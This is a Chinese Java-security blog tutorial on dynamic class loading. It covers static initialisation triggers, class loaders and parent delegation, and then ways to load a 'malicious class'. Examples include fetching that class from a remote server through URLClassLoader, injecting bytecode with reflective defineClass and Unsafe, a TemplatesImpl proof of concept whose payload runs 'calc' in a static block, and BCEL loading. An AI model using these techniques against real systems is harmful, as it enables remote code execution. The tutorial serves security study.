java安全-类的动态加载
java安全-类的动态加载
一、不同类加载方法
分析不同类加载方法会导致类中代码块运行情况
java中类初始代码块
1 | public class Parent { |
1.一定触发 static{} 的
A. new Person()
“创建实例”是 JLS 12.4.1 的第一条触发条件,所以在真正创建对象之前必须初始化。
B. Person.staticAction()
调用静态方法是第二条触发条件。
C. Person.staticVar = 1
给静态字段赋值是第三条触发条件。
D. System.out.println(Person.staticVar)(且不是编译期常量)
读取静态字段是第四条触发条件,但必须“不是 constant variable”。
E. Class.forName("Person")
JDK 文档写得非常直白:forName("X") 会导致类 X 被初始化。
2.不触发 static{} 的
A. Person.class
Person.class 是一个 class literal(类字面量)表达式,规范只保证它“求值结果是对应的 Class 对象”。
- 它不属于 JLS 12.4.1 列出的四种初始化触发事件
- 而 JLS 12.4.1 又明确说“不会因为其他情况初始化”
Person.class可能会为了得到Class对象而发生“加载/链接”,但它不会触发初始化,因此static{}不跑、不会打印。
B. ClassLoader.loadClass("Person")
Oracle 的 ClassLoader.loadClass(name) 文档说它等价于 loadClass(name, false)。
而 loadClass(name, boolean resolve) 的 resolve 也只是“是否 resolve(链接的一部分)”。
把类弄成 JVM 已知(Loaded,可能还 resolve),但不做初始化 ⇒
static{}不跑。
C. Class.forName(name, false, loader)
Class.forName(name, initialize, loader) 文档写了:只有当 initialize 为 true 才会初始化。
所以 false 就是:拿到 Class,但不跑 static{}。
二、类加载器
1.启动类加载器
- Bootstrap
主要加载:
rt.jar(核心类库:java.lang.*、java.util.*等)resources.jar、charsets.jar等
搜索路径(可通过系统属性查看):
sun.boot.class.path
Bootstrap 永远负责 “让 JVM 有能力跑起来的最基础那批类”,他是最基础的类加载器
同时,它不是一个普通的 java.lang.ClassLoader 对象,很多地方用 null 表示,这是因为他是由C语言实现的

2.java中实现的类加载器

他们都是继承于URLClassLoader类
Extension类加载器
它主要从扩展目录加载 JAR(以及目录里的 class),来源有两块:
A. 默认扩展目录:${java.home}/lib/ext
JDK 8 的经典目录就是:
$JAVA_HOME/jre/lib/ext(或java.home/lib/ext)
把一个 xxx.jar 放进这个目录后(JDK8),ExtClassLoader 会把它当“扩展库”加载,应用代码不用额外加 -cp 也可能能用到。
B. java.ext.dirs 系统属性指定的目录列表
ExtClassLoader 会读取系统属性:
java.ext.dirs
Application类加载器
这个主要加载下面三部分路径下的字节码文件
target/classes、out/production之类编译产物项目依赖的 jar(maven/gradle 下载那堆)
运行命令里
-cp/-classpath指定的所有classpath条目
他们都是sun/misc/Launcher.java这个类中的子类

三、字节码加载方式
1.双亲委派模型

双亲委派作用

具体的加载流程
代码实现
java/lang/ClassLoader.java中loadClass方法
- 类加载时要调用这个方法
1 | protected Class<?> loadClass(String name, boolean resolve) |
java/net/URLClassLoader.java中 findClass 方法
- 它是loadclass的子类,它实现了findclass方法,并且交予extion与application类加载器进行调用
1 | protected Class<?> findClass(final String name) throws ClassNotFoundException |
java/lang/ClassLoader.java中defineClass方法
1 | protected final Class<?> defineClass(String name, byte[] b, int off, int len, |

9.这个是一个本地方法,具体实现在虚拟机中
双亲委派模型理解
重复类,即如果一个类可以由三个类加载器同时加载,那么一定会由启动类加载器加载
使用application类加载器去加载String对象,什么类加载器加载

JVM 处理一个类,通常分 3 段
- Loading 加载:把
.class字节码读进来,生成Class<?>对象(但还没跑静态代码)。 - Linking 链接:验证(verify) / 准备(prepare) / 解析(resolve 符号引用)。
- Initialization 初始化:执行
<clinit>(静态变量赋值 +static {})。
2.Class.forName("pkg.A") 的完整链路
先拿“类加载锁”(并发安全)
loadClass 会对同一个类名加锁(JDK 7+ 是“按类名粒度”的锁,避免全局大锁),保证并发场景下不会重复定义同一个类。
类加载是并发敏感区,JDK 需要同步保护。
findLoadedClass(name):先看这个类是不是已经被这个加载器加载过
目的:缓存命中直接返回,避免重复加载/重复 define。
这是默认算法的第一步。 CR OpenJDK
- 命中:直接拿到
Class<?>,跳到第 4 步(可能 resolve) - 未命中:继续第 2 步
把请求“委派”给父加载器(parent.loadClass)
这一步就是所谓“双亲委派模型”的核心:
先让父加载器尝试加载(更靠近“核心类库”的那条链路优先)。
具体分两种:
- parent != null:调用
parent.loadClass(name, false/resolve)(实现细节里 resolve 可能延后,总之“先父后子”) - parent == null:使用 Bootstrap ClassLoader(虚拟机内建的那个)去尝试加载
理解:
加载java.lang.String这种核心类,肯定先让“最权威的加载器”来输出。
这样能避免你自己 classpath 里放个“假 String”把 JVM 搞乱。
父加载器没找到 → 才轮到自己:findClass(name)
如果父加载器(包括 bootstrap)都 ClassNotFoundException 了,才会调用:
findClass(name):让“当前加载器”自己去找字节码并 defineClass
这是默认算法的第三步。
这里非常关键的一点:
loadClass是“总控流程”(模板方法)findClass才是“你自定义加载器要重写的点”(比如从网络、加密文件、数据库里读 class bytes)
也就是说:
你想“规定它算 hashcode 的时候用你自己的代理类”那种问题,本质也是:JVM 走固定入口(loadClass),但你能控制的是 findClass / defineClass 的来源与规则。
如果 resolve == true:resolveClass(klass)(链接的“解析”阶段)
默认算法最后一步:
如果 loadClass(name, resolve) 里的 resolve 为 true,就会调用 resolveClass(c)。
这一步你可以理解成:
把这个类里常量池的符号引用(比如 “我引用了某个类/方法/字段”)在需要时做解析(resolution)。
注意:JDK/规范层面经常把 Linking 拆成:验证/准备/解析。
resolveClass更贴近“解析”那一块;而 Class.forName 的行为是否“主动完成 linking” 在历史上还专门做过规格澄清:
Class.forName()长期实现并不保证“除非初始化发生,否则就一定完成 linking”。
之后就是进行define字节码文件了!
3.ClassLoader.loadClass("pkg.A") 的完整链路
1 | ClassLoader.getSystemClassLoader() 拿到的通常是 系统/应用类加载器(System/Application ClassLoader,常见实现是 AppClassLoader) |

findLoadedClass(name):查缓存
- 同一个 Clas sLoader 如果已经把
pkg.A定义过了,直接返回Class<?>,不会再去找字节码。
父委派:parent.loadClass(name, false) 或 Bootstrap
如果
parent != null:交给 parent 去加载(注意传的也是false,即 parent 也默认不 resolve)。
如果
parent == null:走findBootstrapClassOrNull(name)(也就是 Bootstrap 路径:JDK 核心类那套)。
findClass(name):终于轮到“我自己找 class 文件/JAR”
这一步在不同加载器里实现不同:比如应用类加载器会按 classpath / module path 去找。
findClass的典型工作就是:读到.class字节 →defineClass(...)→ JVM 把它“定义”为一个Class<?>。
下一步便是define,加载字节码文件
resolveClass(c):只做“链接的一部分”,不初始化
- 只有你
resolve=true才会走到这一步。默认loadClass(name)不会走。
四、打破双亲委派机制
自定义类加载器
重写 loadClass 方法
1 | public Class<?> loadClass(String name) throws ClassNotFoundException { |
加载 main 类
1 | public static void main(String[] args) |
此时,默认的父类加载器为 application 类加载器
java源码实现如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17protected ClassLoader() {
this(checkCreateClassLoader(), getSystemClassLoader());//这个在下方有所解释
}
private ClassLoader(Void unused, ClassLoader parent) {
this.parent = parent;
if (ParallelLoaders.isRegistered(this.getClass())) {
parallelLockMap = new ConcurrentHashMap<>();
package2certs = new ConcurrentHashMap<>();
assertionLock = new Object();
} else {
// no finer-grained lock; lock on the classloader instance
parallelLockMap = null;
package2certs = new Hashtable<>();
assertionLock = this;
}
}ClassLoader.getSystemClassLoader()里这个“系统类加载器(System Class Loader)”,可以把它理解成:JVM 启动你的应用时,默认用来加载“应用代码/第三方依赖”的那个主力加载器
也常被叫做 Application ClassLoader(应用类加载器)。
打破双亲委派的标准做法:重写 loadClass(name, resolve)(child-first)
五、JDK9之后的新变化
上文介绍的都是djk8以及8之前的具体类加载器实现

jdk9之后,引入了module的概念
类加载从之前的 jar 包加载改变为从 jmod 文件中加载
大概有以下变化


application只是继承上发生变化,其他没有改变
六、利用其加载任意类
创建恶意类,并且配置到云服务器上
1 | import java.io.IOException; |
1.URLClassLoader
1 | URLClassLoader classLoader = new URLClassLoader( |
这个还可以用其他协议
1
2
3http:// new URL[]{new URL("http://101.200.184.201:7070/")}
file:// new URL[]{new URL("file:///C:\\Users\\32768\\Desktop\\")}
jar:// new URL[]{new URL("jar:file:///C:\\Users\\32768\\Desktop\\javasec1-1.0-SNAPSHOT.jar!/")}
2.ClassLoader#defineClass
1 | ClassLoader cl = ClassLoader.getSystemClassLoader(); |
- 注意,defineClass这个方法是私有的,需要使用反射调用
3.Unsafe类获取
- java 存在一个 sun/misc/Unsafe.java 这个类对象,此类对象下重写了一个公开的静态方法 define 可以使用它加载给定字节码文件
但是值得注意的是,该类是单例类模式,构造方法全部私有化,所以需要使用反射获取类对象
1 | byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\32768\\Desktop\\CL8.class")); |
4.TemplatesImpl
这个类的作用主要是
把“已编译的 XSLT(translet)”缓存起来,并且能随时 new 出 Transformer 来执行转换。
但是它里面有一个内部类中定义了一个方法defineClass,他是默认的defaut方法,所以可以被同包下外部类调用
它不是在重写 ClassLoader#defineClass(...),它是在 新增/重载(overload)一个“包装方法”

于是我们尝试构造利用链
下面链中顶部的俩个方法都是公开可以直接调用
1 | public synchronized Transformer newTransformer() |
1 | getOutputProperties() -> TemplatesImpl#newTransformer() -> |
TemplatesImpl类属性赋值
_name属性不能为空
_bytecodes这个属性不能为空
AbstractTranslet子类限制
getTransletInstance()会对类进行强转
一个强制转换为
AbstractTranslet子类,一个进行实例化defineTransletClasses会依次检查类
尝试利用
利用 poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17public static void main(String[] args) throws TransformerConfigurationException, IOException, NoSuchFieldException, IllegalAccessException {
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\32768\\Desktop\\CL8.class"));
TemplatesImpl obj = new TemplatesImpl();
//反射修改内部属性
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();//调用启动方法
}
private static void setFieldValue(Object obj, String bytecodes, Object bytes) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(bytecodes);
field.setAccessible(true);
field.set(obj, bytes);
}恶意外部类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24public class HelloTranslet extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");//测试
} catch (IOException var1) {
throw new RuntimeException(var1);
}
}
// XSLTC 常见的 transform 入口 1:DOM + 多个输出 handler
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
// 演示:什么都不做
}
// XSLTC 常见的 transform 入口 2:DOM + iterator + 单个输出 handler
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
// 演示:什么都不做
}
}成功

5.BCEL ClassLoader
- BCEL 提供的一种机制:把字节码编码进字符串里,再通过特殊 ClassLoader 从字符串还原并加载类。它在安全领域里之所以“出名”,是因为如果这串字符串来自不可信输入,就可能变成任意代码执行的入口(很多历史漏洞链喜欢用它)。BCEL 的官方文档也明确描述了
$$BCEL$$这种“特殊请求格式”
1 | https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html |
- 这是一个“能在加载 Class 的过程中,把 class 文件先解析成 BCEL 的
JavaClass对象、允许修改后,再把字节码喂回 JVM defineClass 的类加载器”
1 | JavaClass cls = Repository.lookupClass(CL8.class); |
利用
1 | public static void main(String[] args) throws Exception { |
成功
